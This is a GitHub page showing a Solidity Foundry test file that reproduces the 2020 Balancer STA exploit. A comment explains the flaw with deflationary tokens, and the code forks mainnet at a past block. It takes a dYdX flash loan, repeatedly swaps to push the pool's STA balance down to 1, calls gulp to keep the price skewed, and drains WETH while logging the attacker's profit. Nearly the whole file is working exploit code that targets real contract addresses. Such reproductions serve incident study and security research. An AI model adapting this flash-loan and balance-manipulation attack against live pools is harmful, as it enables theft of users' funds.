-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Balancer_20200628_exp.sol
234 lines (195 loc) · 7.94 KB
/
Balancer_20200628_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/console2.sol";
import "forge-std/Test.sol";
import "../interface.sol";
/*
Balancer STA Exploit
Vulnerability principle: The incompatibility issue of deflationary tokens(STA) on Balancer. When users exchange deflationary tokens,
the contract does not validate the received tokens, leading to incorrect balance records.
Attackers can exploit this to create price deviations and profit from them. Exploitation process:
1. The attacker borrows a large amount of WETH from DYDX through flash loans.
2. The attacker continuously calls the swapExactAmountIn function to control the amount of STA tokens in the Balancer pool to 1,
thereby increasing the price of STA for exchanging other tokens.
3. The attacker exchanges 1 STA for WETH and after each exchange, calls the gulp function to overwrite the STA balance,
keeping the price high for STA to WETH exchanges.
4. Repay the flash loan and exit with profits.
Attack Tx: https://etherscan.io/tx/0x013be97768b702fe8eccef1a40544d5ecb3c1961ad5f87fee4d16fdc08c78106
*/
struct AccountInfo {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
interface IUniswapV2Router02 {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (publicly)
Sell, // sell an amount of some token (publicly)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
interface ISoloMargin {
function operate(AccountInfo[] memory accounts, Actions.ActionArgs[] memory actions) external;
}
interface BPool {
function swapExactAmountIn(
address tokenIn,
uint256 tokenAmountIn,
address tokenOut,
uint256 minAmountOut,
uint256 maxPrice
) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
function gulp(
address token
) external;
function getBalance(
address token
) external view returns (uint256);
function swapExactAmountOut(
address tokenIn,
uint256 maxAmountIn,
address tokenOut,
uint256 tokenAmountOut,
uint256 maxPrice
) external;
}
contract BalancerExp is Test {
address dydx = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address sta = 0xa7DE087329BFcda5639247F96140f9DAbe3DeED1;
BPool bpool = BPool(0x0e511Aa1a137AaD267dfe3a6bFCa0b856C1a3682);
address pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 public constant BONE = 10 ** 18;
uint256 public constant MAX_IN_RATIO = BONE / 2;
function setUp() public {
vm.createSelectFork("mainnet", 10_355_806);
}
function testExploit() public {
// approve
IERC20(weth).approve(dydx, type(uint256).max);
IERC20(weth).approve(address(bpool), type(uint256).max);
IERC20(sta).approve(address(bpool), type(uint256).max);
IERC20(sta).approve(pancakeV2Router, type(uint256).max);
emit log_named_decimal_uint(
"[Before Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18
);
emit log_named_decimal_uint(
"[Before Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18
);
// attack
attack();
// check profit
emit log_named_decimal_uint(
"[After Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18
);
emit log_named_decimal_uint(
"[After Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18
);
}
function bmul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c0 = a * b;
uint256 c1 = c0 + (BONE / 2);
uint256 c2 = c1 / BONE;
return c2;
}
// take flash loan from dydx
function attack() private {
AccountInfo[] memory accounts = new AccountInfo[](1);
{
accounts[0].owner = address(this);
accounts[0].number = 1;
}
Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](3);
{
uint256 wethAmount = IERC20(weth).balanceOf(dydx);
actions[0].actionType = Actions.ActionType.Withdraw;
actions[0].amount.value = wethAmount;
actions[0].otherAddress = address(this);
actions[1].actionType = Actions.ActionType.Call;
actions[1].otherAddress = address(this);
actions[2].actionType = Actions.ActionType.Deposit;
actions[2].amount.sign = true;
actions[2].amount.value = wethAmount + 2;
actions[2].otherAddress = address(this);
}
ISoloMargin(dydx).operate(accounts, actions);
}
function callFunction(
address, // sender
AccountInfo memory, // accountInfo
bytes memory // data
) external {
// swap weth to sta
bpool.gulp(weth);
uint256 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
bpool.swapExactAmountIn(weth, MaxinRatio - 1e18, sta, 0, 9999 * 1e18);
bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
bpool.swapExactAmountIn(weth, (MaxinRatio * 50) / 100, sta, 0, 9999 * 1e18);
bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
bpool.swapExactAmountIn(weth, (MaxinRatio * 25) / 100, sta, 0, 9999 * 1e18);
bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
for (uint256 i = 0; i < 16; i++) {
MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
if ((i + 1) < 9) {
bpool.swapExactAmountIn(weth, (MaxinRatio * (i + 1) * 10) / 100, sta, 0, 9999 * 1e18);
} else {
bpool.swapExactAmountIn(weth, (MaxinRatio * 95) / 100, sta, 0, 9999 * 1e18);
}
}
require(IERC20(sta).balanceOf(address(this)) > 0, "swap weth to sta failed");
bpool.swapExactAmountOut(
weth, 99_999_999_999 * 1e18, sta, IERC20(sta).balanceOf(address(bpool)) - 1, 99_999 * 1e18
);
bpool.gulp(sta);
// swap sta to weth
for (uint256 j = 0; j < 20; j++) {
MaxinRatio = bmul(bpool.getBalance(sta), MAX_IN_RATIO);
bpool.swapExactAmountIn(sta, 1, weth, 0, 9999 * 1e18);
bpool.gulp(sta);
}
}
function donate() public payable {}
receive() external payable {}
}